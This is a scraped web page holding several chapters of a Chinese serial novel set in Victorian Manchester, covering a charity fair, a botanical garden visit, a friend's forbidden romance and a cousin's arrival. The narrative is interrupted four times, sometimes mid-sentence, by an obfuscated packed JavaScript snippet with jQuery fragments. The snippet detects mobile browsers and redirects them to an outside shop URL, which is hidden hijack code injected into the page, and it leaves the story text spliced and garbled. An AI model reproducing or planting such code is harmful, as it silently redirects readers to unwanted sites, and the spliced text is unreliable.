“感谢你的邀请,我和黛芙妮才有机会参加这样的善事。”狄默奇太太笑着说。 加尔顿太太目光放缓,她点头将一直未开口的、站在他身后的年轻女人介绍出来:“这是我的侄女,昨天刚从什罗普郡过来。桑席。” 棕发、骨架不小、一双眼睛闪动频繁。 桑席抿起嘴唇笑了笑。 “什罗普郡过来要不少时间,不过曼彻斯特一定不会让你失望的。”亨斯通太太说。 “亨斯通太太。”一位女士摇曳着走来,手里扇着漂亮的刺绣折扇。 “西格莉德。”亨斯通太太熟稔地握住她伸出来的手,“有段时间未见了,听说你去了海外?” 西格莉德,这个名字黛芙妮听贝拉说过,她是加尔顿太太的女儿。 已婚妇女们挥挥手将三位未婚小姐赶到草坪上去。 黛芙妮和贝拉对视一眼,率先开口:“我叫黛芙妮,这是贝拉,我们住在牛津路靠近头部的位置。” 桑席像个容易受惊的小象,她脸色泛红,轻声开口:“我叫桑席·卡斯蒂奥,就住在这儿。” 加尔顿太太举办的慈善会邀请的都是女人,没有一个男性,这让在场的女士都很放松。 走了短短几步路黛芙妮就听到了好几道不加以克制的笑声。 难得强烈的日光配上碧绿的草坪和有趣的小摊,几人说起话来也比往常来得自在。 桑席为她们介绍慈善会:“所有出售的物品都是大家自己提供的,而卖出的钱会全部用于慈善事业。” 她们在一个手套摊前停下,黛芙妮拿起一副真丝手套:“这真是大好事,但是我比较好奇这里有男士慈善会吗?” 桑席摇头:“我倒不清楚,不过我老家是没有的,连这样的女士慈善会也没有。” “男士可不会选择这样的方式来营销自己的名声。”贝拉笑着说,“他们通常选择更正式,舞台更大的场地。” “所以他们选择怎样的舞台?”黛芙妮好奇地问。在利物浦她参加的慈善会也都是女人筹办的。 “下个月,曼彻斯特的植物园将要开业。我爸爸说,一些男士慷慨地捐了不少钱,温室就有四个。” 黛芙妮点头:“光建一个温室就够加尔顿太太举办上百次慈善会了。” “是啊,路威尔顿先生就捐了两个。”贝拉说,“是不是很意外?” “如果是昨天之前,我保证会的。”黛芙妮说。她花了几个先令将那副手套买下。 贝拉挑眉,手腕轻扭,折扇上的蕾丝左右摆动:“真想不到,竟在不知不觉中你对那位先生改了看法。” 她们继续往前走,停在了一个卖丝巾的摊位前。 “只说我知道的,上回他在教堂捐了一大笔钱。”黛芙妮小声说。虽然路威尔顿先生不希望将他的名字宣告大众,但要是有人愿意问她还是十分乐意说上一句的。 “瞒得这样紧,想来他不想让人知道了。”贝拉沉思。 “是这样的。别人不问我就做个守口如瓶的人,可要是他人问起我也很乐意将他的仁慈之举说出去。”黛芙妮说。 桑席抚摸一块草绿色的丝巾,她忍不住好奇:“你们说的是谁?” “让我介绍,那就是英俊富有的先生。”贝拉笑着说又看了黛芙妮一眼。 “我不敢说我不甚了解的,半知半解的也没必要说,就了解的来说是位很有个性的绅士。”黛芙妮说。 桑席没听明白但她不再追问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645783|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慈善会只办一上午,午餐过后就结束了。 分别前,桑席送她们到雕花铁门处,有些不舍:“我是十分喜爱你们的,只是不知道还有没有机会再相处了。” “难道你马上就要离开了?”黛芙妮问。 桑席露出窘迫的神情摇头:“想来我会在这儿长住。” 听到这话的黛芙妮、贝拉都有些诧异。 “下个月植物园开业,不如我们约好一起去?”贝拉握着她的手说。 桑席露出笑来,高兴地点头。 返程的马车上,狄默奇太太放下嘴角,眼角的疲惫瞬间浮现,不过她还是很满意这次活动的:“加尔顿太太说,她打算将今天筹集到的资金用来购买药品送往教堂。她真是一位善良的女士。” 黛芙妮注意到她买了一顶帽子和一个香包。 “说来,加尔顿太太的侄女也是可怜。”狄默奇太太又说,“我听加尔顿太太的女儿西格莉德说,卡斯蒂奥小姐父母刚刚去世,如今只剩她一个人。” 黛芙妮捂嘴:“上帝。” “她让我想起了可怜的迈尔斯。”狄默奇太太伸出手指按了按眼角,继续说,“哎,卡斯迪奥小姐连像样的嫁妆也拿不出来,西格莉德说她来时甚至只有三套换洗衣服。” “她是位不错的淑女,我想苦难一定都过去了。”黛芙妮蹙眉。对桑席的经历感到同情。 五月初,曼彻斯特突破记录,连开了一周多的太阳。 街边不多的树与花,一天天总欢喜地颤抖,黛芙妮偶尔走在它们身边还会被轻触打招呼。 植物园就是选在了这样一个日子里开业。 它选址离牛津路不近,但坐马车的时间也远远谈不上长得烦人。 为了配合今日的活动,黛芙妮特地穿上了绿色的裙子,就连头上的圆顶编织宽檐帽上的绑带也是绿色的,还系了一个大大的蝴蝶结。 她戴上白色的手套又将扇子穿了绳子坠在手腕上才出门,亨斯通家的马车在她刚下台阶就到了。 贝拉、克洛伊都高高兴兴地迎接她。摩西也在,虽然他觉得面对一群比他大几岁的女人们很煎熬,但没有男性陪同她们是不可以去植物园的,为此也只能苦着脸坐在车座上和黛芙妮打招呼。 至于桑席她会乘坐加尔顿家的马车直接前往植物园。 “我听说四个温室里有一个是培育睡莲的,还有一个棕榈玻璃房。”克洛伊说,她声音雀跃,极大地调动了本就期待的黛芙妮。 “是吗?那你知道另外两间是种的什么吗?”黛芙妮问。 克洛伊摇头:“说什么的都有,就是没个准确的说法。” “听说植物园总面积达三百英亩,只比皇家植物园小几十英亩。”摩西说。 他一说又将气氛推到了新的高度。 “马上就知道了。”贝拉安抚她们。 曼彻斯特第一座植物园,英国的第二座植物园,名头响亮地引来的人流让这里像蜂巢一样热闹。 还未进去,几棵巨大的树就在昭示着这里的与众不同。 与桑席汇合后,四人有说有笑地递了门票进去,摩西跟在身后。 35. 植物园与期待 远远的四座玻璃房最为显眼,他们决定从最近的温室开始。 外面瞧着人多得不行,等进园后分散开来倒是好多了。 第一座温室外形如倒扣的航船,高长的棕榈树在里面自由地伸展,这是一座棕榈温室。 里面温度要比外面热些,大概是为了模拟植物的生长环境。 “那是什么?”克洛伊指向一株长着长椭圆形果实的树,它们树皮呈灰褐色,大概三十英尺高。 黛芙妮往里走,她将介绍牌念出来:“可可树产于南美洲亚马逊河流的热带森林中。可可树的果实可可果可以制成可可粉,作为主原材料做成巧克力或饮料。” “巧克力居然是用它做出来的!”桑席惊呼,她探出上半身仔细打量这片可可树。 “神奇。”克洛伊一手扶住帽子,抬起头来。 接着他们又前后认识了橡胶、咖啡等植物才从棕榈温室出来。 在游览过睡莲温室、草园、温带植物室后五人意犹未尽地结束了今日活动。 “来前我一点也想象不出来,他们怎样才能让那么远的地方的植物移植过来,还将它们打理得井井有条。”桑席说,“很大一片植物我从未见过甚至没有听说过,曼彻斯特真是一座伟大的城市。” 他们在温室外的散落小圆桌旁坐下,这里是连接玫瑰花园和标本馆中间的一小段路,用灌木建了一个迷宫。 黛芙妮注意到迷宫边竖立的石柱,她好奇走近。 “这些就是捐赠者的名单吧。”贝拉走来说。 “埃里克阁下也赫然在榜,我怎么听说他前段时间投资失败了。”摩西说。 “谁?”黛芙妮问。 “那位阁下有个男爵的头衔,但祖产早已败得差不多了。”贝拉环顾四周小声说。 “前些年他迷上了投资,虽说有赚但多是亏损。”摩西说,“没想到还有闲钱拿来买名声。” 他听起来还挺不屑的,黛芙妮思绪在脑海里转了一圈,又想着摩西就读的学校也有些了然。 即使他才十四五岁,但社会上的消息还是要胜过她们的。 黛芙妮数了数石柱上的名字,足足有十几个,后面还跟了对方捐赠的项目。 路威尔顿先生也在榜,他支持了温带植物室、睡莲温室以及路边小憩座椅绿化带的建设,排名数一数二。 桑席和克洛伊走到她们身边,一同看了一会儿。 “我猜最少的人也捐了一万英镑。”克洛伊说。 “一万!”桑席吃惊,“这足够将我老家的小镇大半买下来了。” 克洛伊看她:“桑席,你来自哪里?” “莱顿小镇,在什罗普郡。虽然叫小镇但常住人口只有两百多人。”桑席有些落寞,“那儿离主要城市有好些路,居民如无必要几乎不会离开镇上。” “那你怎么会来这里?”克洛伊问。 黛芙妮眨了下眼睛,没想到她居然不知道桑席可怜的家世,怕引起桑席的悲痛她正思索着怎么转移话题。 桑席虽然伤心但并未流泪,她淡淡地笑了一下:“我家人都去世了,我来这里投奔姑妈。” “抱歉。”克洛伊愧疚地说。 “没关系,这不是秘密。”桑席说,“我的遗产只是一栋位于镇边的小房子,所有的现金都用来买了火车票和安葬家人。” “你还好吗?”黛芙妮抚上她的背部。 “我很感激姑妈一家。”桑席笑着摇头,“说实话来前我已经有十多年未和姑妈相见了。” “至少你很勇敢,千里迢迢来这里。”贝拉说。 摩西闭上嘴没说话,静悄悄地站在一边,尚且稚嫩的脸上露出恰到好处的同情。 克洛伊为自己找的这个话题懊恼不已,见众人都不再说话立马说起其他来,加上黛芙妮和贝拉的配合很快就让桑席丢下这段插曲。 从植物园回来没几天,黛芙妮收到了贝拉的邀请,去河边市集买花。 对于贝拉再次邀请她去那儿,她其实是有点疑惑的。 知道的人越多,秘密就不再是秘密,它会随时暴露。 当然她绝不会说出去但保不齐见到的人多有了联想。 另一点来说,其实黛芙妮是不希望贝拉沉浸在这段爱情里的,亨斯通先生是不可能允许她嫁给一个平民,甚至对方还是一个黑人。 也许她确实不懂爱情的魔力但她清楚地知道,下嫁没有好结果。 心里揣了事与贝拉见面就没了往日一心一意的欢喜。 一打她上了马车,慌乱是冒起的第一个情绪。 “贝拉,你为什么哭?”黛芙妮问她。 贝拉闭嘴不肯出声,泪水就加大马力地流淌,总之这股悲伤非要全全部部地露给她看。 好半晌,等外面刮了大风,贝拉才说:“妈妈知道了。” 黛芙妮急得出了一层薄汗,一听亨斯通太太知道了,连安慰的话都要说不出来了。 “她今天早上拿着吉姆给我的信。”贝拉捂着脸,“她知道了。” “上帝。”黛芙妮问她,“亨斯通太太知道吉姆是谁了吗?” 贝拉摇头:“我不肯告诉她,我也没法告诉她,只推说是一个做生意的人。” “那你今天还要去花店?”黛芙妮叹气,“你想和吉姆说清楚?你也不怕太太找人跟着你。” “就算吉姆站在她面前,她也不会认为我和他——”贝拉说,“去买花是个不用费心的理由。” “别哭。”黛芙妮抱住贝拉。 她连大声哭泣的资格都没有,一张小小的帕子承担起所有的悲伤。 车夫将她们送到梅小姐的花店,贝拉低着头用帽子挡住大部分的脸庞,快速进去。 黛芙妮跟在她身后。 花店人一向少,梅小姐一看到贝拉和黛芙妮的样子就知道一定发生了不好的事。 她放下花洒,想将‘正在休息’的木牌挂上,黛芙妮阻止她:“车夫没有走。” 挂上就明明白白地告诉别人,这里有事。 梅小姐只能放下木牌去问贝拉,得知亨斯通太太知道了吉姆后,惊的差点踢翻花盆。 她急急忙忙地让贝拉去后院,吉姆就在那儿。 黛芙妮和她留在外面掩人耳目。 “黛芙妮,你知道具体的事吗?我是说亨斯通太太是怎么发现的?”梅小姐心不在焉地修剪花枝,拱起的眉头和飘忽的眼神真实地反映了她当下的心绪。 黛芙妮看似盯着花枝,实则眼神毫无焦点:“贝拉只告诉我,亨斯通太太发现吉姆给她写的信。” “我从一开始就不认为他们能有一个好结果。”梅小姐吐气,垂下眼睛,“我们不能强求不该在这个季节开的花盛开。” “我从不为自己的肤色感到自卑,我只为不公感到愤恨。”梅小姐说,“黑色、平民、刚解放的奴隶。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655080|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美国南北方的战争才结束没多久,关注报纸的黛芙妮了解到不少消息,虽然一开始她就猜测对方是解放的奴隶,但真的听到梅小姐承认还是很吃惊。 “在《加拉太书》中有这样一句话:并不分犹太人、希腊人,自主的、为奴的,或男或女,因为你们在基督耶稣里都成为一了。”黛芙妮说,“我是真心将你当作朋友的。” 梅小姐的黑眼睛被泪水洗得亮堂堂的,她用弯起的眉眼来感谢黛芙妮。 贝拉白着脸从后院走来,她望了梅小姐一眼:“再见。” 黛芙妮和她走出花店,亨斯通家的车夫立马开门让她们坐上马车,之后又从梅小姐的手中接过鲜花。 黛芙妮没说话,只握住贝拉的手来代替关心。 “我和他说清楚了。”贝拉抹掉摇摇欲坠的水珠,对黛芙妮说,“我会没事的。” 黛芙妮从未有过一段爱情,她无法切身体会那种感受。 不过在她看来,不论是贝拉的爱情又或是安娜的爱情,其实打从一开始就注定了失败的结局。 ‘中产阶级的女性不能嫁给平民’,这条几乎得到所有信奉的规则牢牢印在每一位中产阶级女士心中。 如果选择下嫁,那么一定会被驱逐出原本的交际圈,甚至家人都会蒙羞、名誉受损。 所以在现在这个男少女多的社会,即使在原有圈子里找不到另一半大多也选择孤身一人。 而黛芙妮就是这么决定的,如果她一辈子不幸地没有结婚那么她选择做一个老姑婆。 她的目光再次放在难掩悲伤的贝拉身上。 吉姆也许是个不错的青年,他有勇气跨越海洋、有能力发展事业、有决心在陌生的国家生活。 可惜他对贝拉来说就是糟糕的。 虽然她一直不看好两人的交往,甚至在贝拉还未全身心地陷入就被发现感到微微的庆幸,但不得不说这样阻碍重重的相爱一定是纯粹的,其实她内心也是渴望有一段美好的爱情。 也许从前还没往这方向想过,但在经历了安娜、贝拉的事后,她也开始期待。 希望那位先生,帅气英俊、知识渊博、待人诚恳更重要的是有一颗善良的心。 刚激动起来的心在不经意瞥到贝拉时立马冷却下来,如果有一天她的爱情也要遭遇选择,想来不比贝拉更容易做出决定。 “当我们还买不起幸福的时候,就决不能走得离橱窗太近,盯着幸福出神。”黛芙妮对贝拉说。 贝拉不再流泪,她强迫自己的眉毛舒展,用力地掰动嘴角朝上,勉强平缓声音:“你说得对,黛芙妮。我们也只能走进买得起的商店。” “我只是为我的爱情可悲。”她说,“妈妈没有打算告诉爸爸,而我也绝不能让他发现,吉姆和梅小姐在这里安家已是非常不容易了。当然我也不希望这件事再有更多的人知道,不管是同情还是斥责我都不能承受一点了。” “贝拉,这是你的第一段?”黛芙妮小心又好奇地看她。 “第二段。第一段不比这好到哪里去。”贝拉露出一个无奈的笑容,“那是在我祖母家认识的一位先生,当时我才十五岁,连续三年都非要去祖母家过夏日。” “能做邻居的,想来——好多了。”黛芙妮说得比较隐晦。 “但他结婚了,因为他拗不过长辈而我又太小。”贝拉说,“你呢,黛芙妮?” “从来没有过,但我一直期待。”黛芙妮说。 36. 表哥 在黛芙妮的印象里,迈尔斯表哥一直是个很会说话、长相英俊、有着一双蜜糖色眼睛的男人。 所以在惠特妮将那个穿着米白色亚麻衬衫和棕色背带裤的年轻男子带进来的时候,她就知道对方是谁了。 虽然比起几年前更成熟的外表、更高的个子,但五官几乎没变。 “黛芙妮!”迈尔斯放下手里的行李箱和棕色外套,风尘仆仆的疲惫被此刻的笑容覆盖。 “亲爱的表兄。”黛芙妮伸出手,十分高兴地看他,将他如今的样子牢牢记在心里。 迈尔斯握住她的手,蜜糖色的眼睛让他整个人如沐浴在阳光下一样,亲切温暖的气息扑面而来。 得到消息的狄默奇太太匆匆从楼上下来,她迈入会客室,仅仅是一个背影就让她张开了嘴巴,她扶着沙发背慢慢走过去。 “妈妈!”黛芙妮注意到她。 迈尔斯回头:“姨妈。” “迈尔斯。”狄默奇太太激动地握住他的手,“你怎么不写信来,我们好去火车站接你。” 三人坐下,卡丽端着茶壶和饼干上来,一双眼睛一直盯着迈尔斯。 迈尔斯此刻正被狄默奇太太拉着手说话,但他还是注意到了卡丽:“卡丽?真高兴还能见到你。” 卡丽也很喜欢这个年轻人,她笑眯眯地倒茶送到他手上。 “谢谢。”迈尔斯抽回手,忙接过对卡丽说。 等他解了渴,话才继续。 “迈尔斯,葬礼——”一个不想被过多提起的话题,但再难开口狄默奇太太都要问问。 迈尔斯低下头,略长的棕色发丝遮住他的眉眼,他说得不磕绊但气氛还是落了下来:“一切都安排好了。妈妈最喜欢田边的野花丛,我将她和爸爸安葬在了那里,只要她醒来就能闻到清新的花香、闭眼就能感受到炽热的微风。” 狄默奇太太揉着手帕,竭力压制情绪,她微笑:“好孩子,别伤心,他们此刻一定是幸福的,能在天堂看着你。” 黛芙妮难受地吐口闷气,接着打起精神来说:“亲爱的表兄,近来我记得是种植玉米的时间,我和妈妈还以为你会在这之后来。” 康纳姨妈一家都是普通的农民,不过田地不算少在乡下过得也不错。 “我将家里的田租了出去。一是我如今也无法承担所有的地,再一个我也实在是没有心情。”迈尔斯说,“我总觉得爸妈还没离开,时时出神。” “你在这儿多住一段时间,别急着回去。”狄默奇太太说。 迈尔斯露出一个感激又为难的表情:“姨妈,表妹,十分感谢你们对我的照顾,那我也不好隐瞒什么。” 黛芙妮和狄默奇太太以为有什么大事,让他赶紧开口。 “我不想回去了。”迈尔斯说完松了肩膀,“我想在城里找份工作。” “那家里的田和房子?”狄默奇太太说。 “其实我本来也不擅长打理作物,而且如今家里只剩我一人......我想要是我能在这里找份工作,不仅能回报你们的帮助还能让我心里好受些。”他说。 “那你就留下来,曼彻斯特是座大城市,工作是不缺的。”狄默奇太太说。 黛芙妮想到这段时间报纸上的内容,如今失业率高得可怕,就是有工作大部分也只能勉强维持不饿死,想要有一份稳定又能维持基本生活的工作不比出门捡到一英镑来的可能性大。 但她也不愿意此刻说出来打断好不容易缓和的气氛。 “对了,安娜怎么去了舅舅家?”迈尔斯问。 狄默奇太太轻眨眼睛:“她去那儿玩一段时间。虽说一直有信件往来但总归不如亲眼所见,安娜看上去可好?” “如今回忆起来她没有哪里是让人觉得虚弱的。我当时还以为自己看错了,还以为姨妈你们都到了,只是没来得及和我说。”迈尔斯说。 听到安娜安安稳稳地住在舅舅家没出错,黛芙妮对舅舅一家愧疚的心都好过一点了。 到了晚上,狄默奇先生回来的时候见到迈尔斯又是一番亲切的问候,在听到他想留在曼彻斯特的时候,狄默奇先生说会尽可能地帮他找份工作的。 饭桌上喝了两杯,脸色泛红的狄默奇先生问:“迈尔斯,说说你擅长什么?” 迈尔斯的脸红彤彤的,瞧着像醉了:“我虽然上过几年公立学校可也没有学到什么技能,那儿的老师从不认真教学,我每天学得最多的就是如何快速打扫教室。” 狄默奇先生放下刀叉:“公立学校都会教一些实用技能,尽管条件辛苦但摸过书总是有用的。” “啊,我一时忘了姨父是教授。”迈尔斯说。 “现在可不是什么教授了,早就不做了。”狄默奇先生说。 “出版社有没有适合迈尔斯的工作?”狄默奇太太想到。 “前些天刚空出一个杂工的位置,第二天就有人来报到了。”狄默奇先生摇头,“现在一份工作多的是人哄抢。” 迈尔斯放下酒杯,心事重重的样子他看了眼狄默奇先生说:“去工厂我也能干。” 黛芙妮品尝葡萄酒,听了他的话思绪开始扩散。 如今工厂都倒闭了好些,就是当工人都有成百上千的人在竞争。 突然有些庆幸,虽然身为女人总被各种条条框框约束但至少生在这样的家庭不需要为生存苦恼。 迈尔斯在一百零八号住了下来,仅仅几天就让他精神面貌焕然一新。 “惠特妮,那件外套我后天要穿今天就要洗出来,噢对了!衣领要烫仔细别出现上次的情况。”迈尔斯坐在沙发上对抱着脏衣筐的惠特妮说。 黛芙妮就坐在单人沙发上阅读,听到动静抬起眼来。 “黛芙妮,你在看什么?”迈尔斯无所事事地盯上了黛芙妮。 黛芙妮将书本立起来,露出封面。 迈尔斯看一眼就失去了兴趣,不过他现在需要发泄旺盛的精力:“你和姨父真像,都爱看书。你真的觉得书能教会你一切吗?” 黛芙妮将书本放在膝头与他闲聊起来:“当然。小到穿衣大到创造,没有书本不能教会你的。” “可我没读过几本书,你知道的我的学校并不够负责任,所以我现在会的都不是书里学来的。”迈尔斯说。 “你的长辈一定是通过学习将知识口述给了你,不然他们难道天生就知道吗?”黛芙妮说。 “可你怎么知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667646|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道他们是从书里学来的,不是摸索出来的。”迈尔斯说。 黛芙妮愣了一下,她仔细思考,最后认为他说得有道理,但:“即使没人教我,我通过看书也能学会一切,所以书能教会我任何事。” 迈尔斯刚看她没反驳露出了得意的神情,这会儿又因为自己无话可说失了兴趣。 过了一会儿,他又开口:“你们在这儿过得怎么样?” “为什么这么问?”黛芙妮看他。 “因为我来了快一周了,并没有看见客人上门,不过我认为一定是他们的问题。”迈尔斯说。 “亨斯通一家这几天去了约克,等他们回来就能介绍你们认识。”黛芙妮说。 “只有一家常来往吗?”迈尔斯问。 “住在附近的,是的。”黛芙妮说,“我们在这儿没有很深的根基。” “听起来不妙,是吧。”迈尔斯蹙眉。 成功的一户人家一定是有多家来往较为密切的亲朋好友,这说明他们受人喜欢、名声良好。 狄默奇一家从利物浦搬来曼彻斯特虽说也有一段日子,也参加过几次邻居间的聚会,但来往密切的还是只有亨斯通一家、路威尔顿先生以及艾肯先生一家和库克先生一家。 一只手数得过来的交际圈常常让狄默奇太太发愁,可她们打从一开始就深切地体会过曼彻斯特独有的文化——高傲。 黛芙妮一开始很不习惯一周大部分是孤独的,如今也能反过来劝迈尔斯适应。 晚上,狄默奇先生宣布他为迈尔斯找了一份门童的工作,这还得益于迈尔斯较为出色的外表。 “在哪里工作?”迈尔斯问。 “歌剧院门口,这是如今我能找到的最轻松的工作。”狄默奇先生说。 迈尔斯抿嘴,他在思考。 黛芙妮看出来他不是很满意,想来这样一份工作并不符合他的预期。 但他别无选择,因为比起另外一份修理路灯的工作,门童的工作虽然同样不体面但好歹能穿得干干净净的。 热闹了一周的一百零八号又安静下来,迈尔斯比狄默奇先生要更早出门更晚回来,晚餐有一半时间不和他们一块吃。 “迈尔斯有了一份稳定的工作,将来结了婚生了孩子一切都要好起来了。”狄默奇太太欣慰地说。 此时的餐桌上,照例只有三个人。 “一份工作的稳定常常取决于工作的人。”狄默奇先生似乎意有所指。 卡丽将鸭肉卷夹进黛芙妮的餐盘,她说:“我从来没有像如今这样忙碌过,让我想起了十六岁的时候,一天打三份工。” “迈尔斯是个爱动的小伙子,总有各种需求需要满足。”狄默奇先生笑了一下。 “不过我倒挺乐意为他这么做的。”卡丽说。 “因为迈尔斯足够会说话。”黛芙妮勾起嘴角,有些调侃的意味。 “可怜的康纳先生,他还是需要母亲的年纪。”卡丽嘀咕,“再说了他是客人,我一定会极大地展现狄默奇的家风。” “我们的家风?”狄默奇太太好奇。 “热情好客!”卡丽怪叫一声,认为作为主人的狄默奇太太不知道就很不应该。 37. 信徒? 对于家里多了一个人特别是男人的黛芙妮来说,在时间的走动下惊吓开始多于惊喜。 虽然迈尔斯整日早出晚归且不和她住在同一层,同时还有一层亲戚的身份加持,但她还是尝到了拘束和无措的滋味。 迈尔斯在剧院混得不错,听他自己说的且看他平日的作风确实是这样。 他通过那张天生会哄人的巧嘴和英俊的面容赚取了不少小费,那些已婚太太的打赏是他最大的收入来源。 要问黛芙妮怎么知道这个不怎么体面的事,还得是狄默奇太太的推动。 那天一早,狄默奇太太就和她说:“迈尔斯从未来过曼彻斯特又要一上来就接触许多人,也不知道他能否适应这份工作。” “可是迈尔斯他不是说剧院的老板很欣赏他吗?认为他的存在给剧院带来了更多的收入。”黛芙妮说这话的时候是有点古怪情绪的。 “我怕这是他故意说的借口,怕我们担心他。”狄默奇太太说,“你康纳姨妈对你那么好,如今她去了天堂我总要好好看护迈尔斯的。” 于是一天黛芙妮就约了贝拉散步,顺路去一趟豪华剧院。 “正好我还没见过你表哥,听说是个英俊的小伙子?”这是贝拉从约克散心回来后与黛芙妮的第一次见面。 “迈尔斯确实长得不错。”黛芙妮说。 “我观你的言行举止,总觉得有些矛盾。”贝拉看了她一眼说,“你似乎又赞成他又反对他。” 黛芙妮低头笑了起来:“在我的印象里迈尔斯是个淳朴、热心、体贴的人。” “印象里?不是什么好词。”贝拉摇头,“实际上呢?” “实际上——”黛芙妮纠结,“他有些过于会说话了,我不知道是不是因为这份职业的缘故。” “我听说法国的姑娘和先生都这样,好似天生就会与人调情。”贝拉说,“这不是什么缺点。” “缺少的会自卑,过多的会自负。过量一点的还能接受,太过多的让人有负担。”黛芙妮说。 闲话间两人走到了运河边,豪华剧院的对街。 “那个一定是你表哥了,那个棕色头发的。”贝拉靠近黛芙妮小声说。 “是的。” 豪华剧院门口站了两个身穿红衣的门童,其中一个笑得很热情那就是迈尔斯。 一辆四轮马车刚停下,他立马小步下台阶去接引。 远远地只见他伸出手臂,代替了车夫的位置将三位已婚妇女带下马车,太太们将他围在中间,华丽的蕾丝折扇妩媚地摆动,一会儿工夫迈尔斯就将她们送进了剧院,同时见他口袋也鼓了起来。 “你看,你不喜欢的大有人欣赏。”贝拉调侃。 “我可管不到别人身上去。”黛芙妮说。 “如果你不告诉我康纳先生来自哪里,之前做的什么工作,我一定会以为他是个老手。”贝拉说。 又站了一会儿,等迈尔斯接送了三拨人后她们才往回走。 “这下妈妈该放心了,迈尔斯在这里如鱼得水。”黛芙妮说。 贝拉甩了甩吊在手腕上的包袋,说:“我向来不喜欢参与别人的家事,毕竟过得好与坏和我有什么关系,最怕的是你白白说了别人还不领你的好心。” “如果你是说迈尔斯,我选择沉默。不过要是说我,那我可伤心了。”黛芙妮说。 贝拉拉紧了她的手臂,在避开一对绅士后,说:“我比你长几岁,总归眼睛比你亮几分。康纳先生更像是探险家,渴望财富和权力。” 黛芙妮和迈尔斯同住了一周多才发现的事,贝拉看上一眼就知道了,果然是比她多几年眼见:“渴望财富没什么,我对迈尔斯更谈不上有要求,唯一的希望就是我们都有一份安稳的生活。” “在得到的过程中往往会失去什么。”贝拉语气变得沉重,“如果他变成了像路威尔顿先生那样呢?” “噢!别这么说,实在是让我羞愧。是我误会路威尔顿先生了,对于工人也许他是逼不得已。”黛芙妮摇头,“既然这样的话像他一样就不是什么不好的形容。” 贝拉弯起眼睛:“我想要是有那么一位先生追求你,只需要在你面前多做几次好事就行了。既得了好名声又得了一位佳人。” “贝拉!”黛芙妮羞红了脸,“我可没有那么容易忽悠,好与不好的在接触中总会知道。不过,我认为能将自己财富施舍出去的一定不是恶人。” 回到一百零八号,黛芙妮将所见得全部告诉了狄默奇太太。 狄默奇太太放下账本,眉毛蹙起又放下最后重新核对起账本来。 再与迈尔斯碰面是周日,受宗教传统影响所有行业在这一天都要停工。 上午黛芙妮和狄默奇太太去了教堂,下午便在会客室里做点手工打发时间。 狄默奇先生惯常待在书房里,迈尔斯出去了说是和朋友联络感情去,直到晚餐前才回来。 “黛芙妮,这是给你的礼物。”迈尔斯叫住了刚从小会客室放好书出来的黛芙妮。 他从怀里拿出一条湛蓝色的丝巾递给她。 “谢谢!”黛芙妮惊讶又惊喜,“真漂亮。” “当我看到这个颜色的时候,第一反应就是你的眼睛。像大海一样温柔包容、更像维纳斯,充满纯洁和神性。”迈尔斯说,“果然很适合你。” “迈尔斯,你的夸赞让我受宠若惊。总之谢谢你的礼物。”黛芙妮快速对他笑了一下,然后绕过他疾步走向餐厅。 这样直白的赞美和温柔的眼神让她很无措,总觉得迈尔斯将她当作了可以撩拨的对象,这份职业真真是放大了他的优势。 今日主食是杏鲍菇仿作的素蛋煎饼,配上胡萝卜、马铃薯、洋葱慢炖的杂菜和蜜蜂烤南瓜。 康纳姨妈是基督教徒,迈尔斯从小也过着周日这天不碰肉类的生活,并不会觉得不习惯。 他说:“每当这一日我都会想起妈妈,她总爱用豆类浓汤开场。” 狄默奇太太对他露出理解和心疼的眼神:“只要你在,以后周日都让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678301|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡丽用豆类浓汤开场。” “姨妈对我犹如亲生母亲,我实在是不知怎么回报你。”迈尔斯说着差点哭起来,“姨父为我找了这样一份好工作,不需要我有什么技术就能上任。我亲爱的表妹更是如我右手一般亲切,帮助我良多。” 狄默奇先生和黛芙妮同时露出一道恰到好处的笑来。 午餐时间耳朵都用来听迈尔斯感激地发言了,在他重新拿起叉子的时候黛芙妮不由自主地吐气。 